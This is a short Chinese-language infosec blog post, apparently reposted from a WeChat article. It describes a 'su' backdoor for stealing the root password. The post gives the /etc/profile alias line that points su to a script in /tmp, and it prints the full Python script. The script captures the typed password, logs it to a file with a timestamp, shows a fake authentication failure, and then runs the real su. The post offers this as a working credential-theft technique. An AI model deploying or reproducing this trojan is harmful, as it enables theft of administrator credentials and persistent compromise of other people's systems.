Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

su 简易后门窃取 root 密码 ( 基于 shell 的 alias 机制 )

wpadmin~May 23, 2019 /InfoSec

su 简易后门窃取 root 密码 (基于 shell 的 alias 机制)

正文

修改 /etc/profile 增加一行 alias 增加如下配置。
alias su=/usr/bin/python /tmp/su.py

脚本内容
https://github.com/Jumbo-WJB/notes/blob/master/su.py

import os
import sys
import getpass
import time

current_time = time.strftime("%Y-%m-%d %H:%M")
logfile = "su.log"

fail_str = "su: Authentication failure"

try:
    passwd = getpass.getpass(prompt="Password: ")
    file=open(logfile, "a")
    file.write("[%s]\t %s" % (passwd, current_time))
    file.write("\n")
    file.close()
except:
    pass
time.sleep(1)
print fail_str
os.system("su")

原文

简易获取root密码技巧 原创: 帅气的Jumbo 中国白客联盟 2019/05/23
wechat_link

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.